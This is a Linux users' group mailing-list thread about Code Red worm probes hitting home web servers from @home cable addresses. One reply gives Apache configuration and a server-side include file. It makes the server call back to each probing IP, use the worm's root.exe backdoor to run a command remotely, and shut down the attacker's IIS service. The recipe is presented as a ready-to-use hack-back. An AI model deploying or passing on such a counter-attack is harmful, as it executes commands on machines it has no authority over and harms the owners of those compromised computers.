[NTLUG:Discuss] @home, Carrollton TX hits on port 80

[Michael Collins]

Saw this on alt.os.linux.slackware...thought you guys might be interested.

Open httpd.conf and add:
AddType text/html .ida
AddHandler server-parsed .ida

Restart apache with
/var/lib/apache/sbin/apachectl restart

Create the file /var/lib/apache/htdocs/default.ida with the following
line:
<!--#exec cmd="lynx -source
http://$REMOTE_ADDR/scripts/root.exe?/c+iisreset+/stop"-->

Then sit back and watch the bastard machines shut themselves down.

Note: This will not work on the original Code Red. That's the one that
displays a string of "N" characters instead of "X" characters.







J. Jentink wrote:
> I am getting about 20 hits an hour right now over my @home cable in
> Carrollton.
>>From my web log, the following are the last few hitters: IP and
> reverse DNS lookup
>   24.0.40.151 cx1221131-b.elcjn1.sdca.home.com
>   24.0.164.239 cx586708-a.fed1.sdca.home.com
>   24.0.218.136 cx59931-a.dnpt1.occa.home.com
>   24.0.162.42 cx487547-a.fed1.sdca.home.com
>   24.0.154.161 cx112244-c.cv1.sdca.home.com
>   24.0.162.42 cx487547-a.fed1.sdca.home.com
>   24.0.212.47 cx47296-a.alsv1.occa.home.com
>   24.0.147.21 cx512128-c.dt1.sdca.home.com
>   24.0.235.235 c1517939-b.frndl1.wa.home.com
>   24.0.49.245 c75556-f.potlnd1.or.home.com
> 
> When I did the reverse DNS on my own IP, it maps to the form..
>     c*******-a.croltn1.tx.home.com
> Looks like I an getting hammered by the @home folks on the west
> coast... California, Washington and Oregon.
> 
> My RD light on the cable modem also blinks constantly. I just
> disconnect it when I am not using the internet. What fun.
> 
> j.
> 
> 
> 
> _______________________________________________
> http://www.ntlug.org/mailman/listinfo/discuss
> 
> 



-- 
-- 
Michael H. Collins              Admiral: Penguinista Navy International
http://www.linuxlink.com        Migration
Free Linux Email                http://www.78704.com
A great geek girl mp3           http://24.28.86.53
This Ain't California		http://geekaustin.com/